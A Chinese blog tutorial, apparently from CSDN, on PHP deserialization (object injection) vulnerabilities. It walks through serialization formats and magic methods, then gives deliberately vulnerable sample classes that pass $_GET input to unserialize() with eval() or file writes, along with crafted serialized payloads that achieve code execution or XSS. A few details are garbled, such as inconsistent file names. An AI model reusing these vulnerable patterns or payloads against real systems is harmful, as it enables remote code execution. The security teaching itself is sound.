生命在于学习——反序列化

本文详细介绍了PHP中的序列化和反序列化概念,特别是反序列化过程中的安全风险,如对象注入和魔术方法的利用。通过实例展示了如何利用__wakeup()和__construct()等魔术方法执行任意代码,同时讨论了反序列化漏洞的防御策略,强调了避免用户可控数据参与反序列化的重要性。
摘要由CSDN通过智能技术生成

本篇文章只是用来笔记记录,交流学习,不得用于其他用途。

一、描述

反序列化又叫对象注入,序列化在内部没有漏洞,漏洞产生是因为程序在处理对象、魔术函数以及序列化相关问题导致的,当传给unserialize()参数可控时,那么用户就可以注入payload,进行反序列化的时候就看你触发对象中的一些魔术方法。

二、序列化和反序列化介绍

serialize()将一个对象转换成一个字符串。
unserialize()将字符串还原为一个对象。
在php应用中,序列化和反序列化一般用作缓存,比如session缓存,cookie等,简单点讲序列化就是把一个对象变为可以传输的字符串,而序列化就是把字符还原为对象。

三、序列化

1、序列化方法

php中序列化一般有以下几种,使用serialize()方法。

2、序列化serialize()

对象的状态信息转换为可以存储或传输的形式的过程,在序列化期间,对象将当前的状态写入到临时或持久性的存储区,将状态信息保存为字符串。

3、字符串序列化

<?php
$a='test';
echo '序列化:';
$b=serialize($a);
print_r($b);
?>

输出结果为序列化:s:4:“test”;
序列化格式介绍:s表示字符串(string),4表示长度,test是值。
在这里插入图片描述

4、数组对象序列化

<?php
$arr =array('name'=>'jack','age'=>13);
print_r(serialize($arr));
?>

输出结果为:a:2:{s:4:“name”;s:4:“jacl”;s:3:“age”;i:13;}

5、对象序列化

<?php
class test{
 public $a ='test';
}
$class =new test;
print_r(serialize($class));
?>

输出结果:0:4:“test”:1:{s:1:“a”;s:4:“test”;}
序列化格式介绍:o表示类,4表示类名长度,test是类名,1代表类中有一个属性,s字符串,1长度1为,a是属性名,test是属性的值。

6、扩展

序列化也会把变量的属性存储到字符串里:
在这里插入图片描述

7、序列化字符含义

a – array 数组
b – boolean 布尔型
d – double 双精度型
i – integer 整型
o – common object ⼀般对象
r – reference 引⽤
s – string 字符串
C – custom object ⾃定义对象
O – class N – null 表示类
R – pointer reference 引⽤传递
U – unicode string unicode编码的字符串

四、反序列化

1、简介

反序列化:显而易见,那么就是序列化过程的逆向操作而已,也就是将字符串转换为对象。
而反序列化漏洞就是因为在反序列化转换的过程中,触发代码执行,从而造成漏洞,关键点还是在于可控或不可控。

<?php
class S{
 var $test = "pikachu";
 function __construct(){
 echo $this->test;
 }
}
$c = new S();
echo serialize($c);
?>

反序列化后,如果 t e s t 可控,类在实例化的时候,值会传入 test可控,类在实例化的时候,值会传入 test可控,类在实例化的时候,值会传入this→test,因为是echo内容是直接输出会造成xss漏洞。

<?php
class S{
 var $test = "<script>alert(1);</script>";
 function __construct(){
 echo $this->test;
 }
}
$c = new S();
echo serialize($c);
?>

序列化后的结果:O:1:“S”:1:{s:4:“test”;s:26:“”;}

2、反序列化漏洞

<?php
class S{
 var $test = "pikachu";
 function __construct(){
 echo $this->test;
 }
}
$c = new S();
$u=unserialize($_GET['url']);
echo $u->test;
?>

正常后面不跟请求参数是正常返回的,但是如果$_GET[‘url’] 为可控的,那么,输入序列化后的payload同样会被执行。

3、反序列化里的魔法函数

__construct() 当⼀个对象创建时被调⽤( 构造函数,当对象创建(new)时会⾃动调⽤。 unserialize()反序列化时是不会⾃动调⽤的。 );
__destruct() 当⼀个对象销毁前被调⽤ ;
__sleep() 在对象被序列化前被调⽤ ( ⽤于提交未提交的数据,或类似的清理操作 );
__wakeup() 将在反序列化之后⽴即被调⽤(当使⽤unserialize()进⾏反序列话时,就会被调⽤, unserialize()时会检查是否存在 wakeup(),如果存在,则会优先调⽤wakeup()⽅法 );
__toString() 当⼀个对象被当做字符串使⽤时被调⽤ ;
__get(),__set() 当调⽤或设置⼀个类及其⽗类⽅法中未定义的属性时 ;
__invoke() 调⽤函数的⽅式调⽤⼀个对象时的回应⽅法 ;
__call() 和 __callStatic() 前者是调⽤类不存在的⽅法时执⾏,⽽后者是调⽤类不存在的静态⽅式⽅法时执⾏。

4、反序列化漏洞(_wakeup)魔法函数漏洞演示

_ wakeup()将在反序列化之后立即被调用(当使用unserialize()进行反序列化时,就会被调用,unserialize()时会检查是否存在 wakeup(),如果存在,则会优先调用 wakeup()方法);
在反序列化过程中,当
wakeup()的个数大于实际个数时会被绕过,从而不再执行 _wakeup()内的内容。

<?php
class A {
 var $test = "demo";
 function __wakeup() {
 eval($this->test);
 }
}
$b = new A();
$c = serialize($b);
$a = $_GET['test'];
$a_unser = unserialize($a);
?>

通过以上代码,尝试构造payload,执行phpinfo();
O:1:“A”:1:{s:4:“test”;s:10:“phpinfo();”;}
解释:传入的参数被反序列化,导致魔术方法_ _wakeup()被自动调用,这时参数传入的值被视为eval()的参数使用,所以这里会因反序列化导致任意代码执行。

5、反序列化漏洞(_ _wakeup()和文件操作)

__wakeup() 将在反序列化之后⽴即被调⽤(当使⽤ unserialize() 进⾏反序列话时,就会被调⽤, unserialize() 时会检查是否存在 __wakeup() ,如果存在,则会优先调⽤__wakeup() ⽅法 );

<?php
class A {
 var $test = '123';
 function __wakeup() {
 $fp = fopen("test.php", "w");
 fwrite($fp, $this->test);
 fclose($fp);
 }
}
$a = new A();
print_r(serialize($a));
$class1 = $_GET['test'];
$class1_unser = unserialize($class1);
?>

通过以上代码,构造payload执行phpinfo();
O:1:“A”:1:{s:4:“test”;s:18:“<?php phpinfo();?>”;}
继续访问123.php文件,同样可以执行phpinfo。
解释:和上⾯⼀样,当传⼊的参数被反序列化时,魔术⽅法 __wakeup() 被调⽤,传⼊的参数会作为 fwrite() 的第⼆个参数直接写⼊123.php⽂件中,从⽽导致反序列化漏洞。

6、反序列化漏洞(_ _construct)

__construct() 当⼀个对象创建时被调⽤( 构造函数,当对象创建(new)时会⾃动调⽤。 unserialize() 反序列化时是不会⾃动调⽤的。 )

<?php
class b {
 function __construct($test) {
 $fp = fopen("test.php", 'w');
 fwrite($fp, $test);
 fclose($fp);
 }
}
class a {
 var $test = 123;
 function __wakeup() {
 $obj = new b($this->test);
 }
}
$class = $_GET['test'];
$class_u = unserialize($class);
?>

通过以上代码,构造payload执行phpinfo();
O:1:“a”:1:{s:4:“test”;s:18:“<?php phpinfo();?>”;}
执行完,代码会被写进test.php文件内,访问123.php文件,也可以执行phpinfo()。

五、反序列化漏洞防御

和大多数漏洞一样,反序列化的问题也是用户参数的控制问题引起的,所以好的预防措施就是不要把用户的输入或者是用户可控的参数直接放进反序列化的操作中去。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

「已注销」

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值